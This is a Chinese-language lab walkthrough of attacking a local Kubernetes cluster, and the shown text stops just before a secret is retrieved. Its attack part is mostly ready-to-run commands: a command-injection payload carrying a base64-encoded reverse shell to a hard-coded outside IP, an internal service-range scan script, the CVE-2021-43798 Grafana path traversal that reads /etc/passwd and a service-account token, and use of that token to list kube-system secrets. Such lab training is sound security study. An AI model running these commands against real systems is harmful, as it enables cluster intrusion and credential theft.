集群中横向权限提升

1. 环境部署(内网版)

注意:最好用 Centos 部署下面相关环境,我用 Ubuntu 部署出现很奇怪的问题了。
前提:Docker 部署完成并设置镜像加速。

1.1. 构建好的镜像

直接拉取构建好的镜像(这个镜像有问题,跑不起来)

docker pull leofvo/demo-k8s-pentesting:1.0

1.2. 手动构建镜像

拉取基础镜像

docker pull docker.io/library/python:3.9
docker build -t demo-k8s-pentesting:1.0 ./app
Warning

如果是ubuntu 可能会失败,提示找不到“assets/Pasted image 20250417132943.png”。
这种情况下就修改一下dockerfile

FROM python:3.9

WORKDIR /app

# 确保 sources.list 存在并设置镜像源
RUN if [ ! -f /etc/apt/sources.list ]; then \
        echo "deb http://mirrors.cloud.tencent.com/debian/ bullseye main" > /etc/apt/sources.list && \
        echo "deb http://mirrors.cloud.tencent.com/debian-security bullseye-security main" >> /etc/apt/sources.list; \
    else \
        sed -i 's/deb.debian.org/mirrors.cloud.tencent.com/g' /etc/apt/sources.list && \
        sed -i 's/security.debian.org/mirrors.cloud.tencent.com/g' /etc/apt/sources.list; \
    fi

# 继续剩余步骤
COPY requirements.txt .
RUN apt-get update && \
    apt-get install -y --no-install-recommends \
    curl \
    bash \
    iputils-ping \
    dnsutils \
    vim && \
    rm -rf /var/lib/apt/lists/* && \
    pip install --no-cache-dir -r requirements.txt

COPY . .
EXPOSE 8080
CMD ["python", "app.py"]

提示这个就是构建好了
Pasted image 20250417133110.png

1.3. 创建集群环境

创建单节点集群

kind create cluster --image kindest/node:v1.23.4

将 demo-k8s-pentesting:1.0 镜像导入到 Kind 集群

#手动构建
kind load docker-image --name kind demo-k8s-pentesting:1.0 

#或者自动构建(可能失败)
kind load docker-image --name kind leofvo/demo-k8s-pentesting:1.0

拉取 grafana 镜像

docker pull grafana/grafana:8.3.0

部署相关集群资源

kubectl apply -f ./k8s/

资源情况

kubectl get all -A | grep -v kube-system | grep -v local-path-storage

Pasted image 20250417134224.png
在宿主机 8080 端口上开放web应用程序

kubectl port-forward deployment/webapp 8080:8080

2. 攻击

2.1. 获取元数据

curl -IL http://localhost:8080

可以看到 Web 应用程序在 Python/3.9.16、 Werkzeug Web 服务器上运行。
Pasted image 20250417135614.png

2.2. 查看 Web

最基础的命令注入,利用 Ping 功能注入恶意命令,

curl -X POST -d "url=;id;hostname" http://localhost:8080/

2.3. 利用漏洞

在前面信息收集阶段,我们已经获取到了,Web 应用程序在 Python/3.9.16 上运行,所以可以利用Python 反弹 shell,注意替换下面的<YOUR_IP>为监听IP,

curl -X POST -d "url=;echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEyNC43MS4xMTEuNjQiLDExMjIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJiYXNoIikn |base64 -d|bash" http://localhost:8080/

Pasted image 20250417141426.png

2.4. 进入Pod

查看环境变量以获取信息

env

我们可以看到服务器正在 Kubernetes 集群上运行。
Pasted image 20250417141620.png

我们可以尝试使用以下命令列出集群上运行的 Pod,

# 获取pod的服务帐户令牌
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

# 使用REST API与集群交互
curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/pods" -m 3 --insecure

# https://kubernetes.default.svc:443 是 Kubernetes 集群内部的 Kubernetes API Server 的地址
# 这个地址一般只在 Kubernetes 集群内部可用,从集群外部通常是不可达的,因为它通常不会被直接暴露给公共网络。

可惜我们的 Pod 无权列出集群上运行的 Pod。
Pasted image 20250417143417.png
默认情况下,kubernetes 服务资源的 ip 范围为 10.96.0.0/16,可以尝试使用一个简单的脚本来发现其他服务,下方脚本将尝试连接到指定端口上范围内的所有 IP 地址,
Pasted image 20250417170830.png

#!/bin/bash
# 设置超时值(以秒为单位)
timeout=0.03
# 循环通过10.96.0/16范围内的每个IP地址
for third_octet in {0..255}; do
  for fourth_octet in {0..255}; do
    ip="10.96.$third_octet.$fourth_octet"
    
    while read -r port; do
      url="http://${ip}:${port}"
      response_code=$(curl -s -o /dev/null -w "%{http_code}" --max-time $timeout "$url")

      if [[ $response_code -ge 200 && $response_code -lt 400 ]]; then
        echo "Success: $url (HTTP $response_code)"
      fi
    done < "ports.txt"
  done
  echo "Range 10.96.$third_octet.0/24 done"
done

Pasted image 20250417171108.png
写入 scan.sh,作为实验我清楚网络拓扑,故将段限制在 10.96.{82..151} (因为我知道就是这个范围,实战中可以扫0-255)

echo '#!/bin/bash
# 设置超时值(以秒为单位)
timeout=0.03
# 循环通过10.96.0/16范围内的每个IP地址
for third_octet in {82..151}; do
  for fourth_octet in {0..255}; do
    ip="10.96.$third_octet.$fourth_octet"
    
    while read -r port; do
      url="http://${ip}:${port}"
      response_code=$(curl -s -o /dev/null -w "%{http_code}" --max-time $timeout "$url")

      if [[ $response_code -ge 200 && $response_code -lt 400 ]]; then
        echo "Success: $url (HTTP $response_code)"
      fi
    done < "ports.txt"
  done
  echo "Range 10.96.$third_octet.0/24 done"
done' >scan.sh

还需要创建一个 ports.txt 文件,作为实验,可以就写一个3000端口,

echo -e "3000" > ports.txt

运行脚本,发现一个运行在 IP 10.96.82.237 上的服务,
Pasted image 20250417171651.png
将这个服务设置成我们的目标,方便后续对该目标进行操作,

export TARGET_IP=10.96.82.237

探测一下该服务,

curl -IL http://$TARGET_IP:3000

Pasted image 20250417171728.png

被重定向到 http://$TARGET_IP:3000/login 再探测下这个服务,

curl http://$TARGET_IP:3000/login |grep title

这似乎是一个 grafana 仪表板登录页面,
Pasted image 20250417171838.png

2.5. 权限提升

攻击 Grafana
获取 Grafana 版本,

curl http://$TARGET_IP:3000/login | grep "subTitle"

Pasted image 20250417171942.png
版本 8.3.0 容易受到 CVE-2021-43798 的攻击,存在未授权的任意文件读取漏洞。
尝试使用以下命令获取文件的内容:/etc/passwd,

curl --path-as-is http://$TARGET_IP:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Pasted image 20250417172004.png
Kubernetes 为 Pod 提供 ServiceAccount,允许它们拥有访问权限、角色或其他东西,Pod 的ServiceAccount token 保存在 Pod 文件系统上/var/run/secrets/kubernetes.io/serviceaccount/token 中,可以利用上面任意文件读取的漏洞,读取 Pod 的服务账号令牌(token),

curl --path-as-is http://$TARGET_IP:3000/public/plugins/alertlist/../../../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token

Pasted image 20250417172313.png
窃取 Grafana 服务帐户
设置 token,

export TOKEN=$(curl --path-as-is http://$TARGET_IP:3000/public/plugins/alertlist/../../../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token)

我们拥有 Grafana 服务账号令牌,我们请求集群资源就像 Grafana pod 请求一样,可能比我们初始获得的 Pod 权限要大,所以我们需要重复尝试获取集群资源,

尝试列出集群的命名空间,失败,

curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/namespaces" -m 3 --insecure

Pasted image 20250417172426.png
尝试集列出 Pod,成功,

curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/pods" -m 3 --insecure

Pasted image 20250417172502.png
提示:当使用 grafana serviceAccount 时,只会看到与 grafana 位于同一命名空间上的 pod。但是,可以更改命名空间以查看其他资源。

比如可以尝试列出 kube-system 命名空间上的 pod,

curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/namespaces/kube-system/pods" -m 3 --insecure

Pasted image 20250417172600.png
尝试列出 kube-system 这个特权命名空间上的 secrets,

curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/namespaces/kube-system/secrets" -m 3 --insecure

Pasted image 20250417172624.png

只列出 secrets 名称,

curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/namespaces/kube-system/secrets" -m 3 --insecure | grep -oP '"name": "\K[^"]+'

Pasted image 20250417172706.png
获取某一个 secrets 的信息,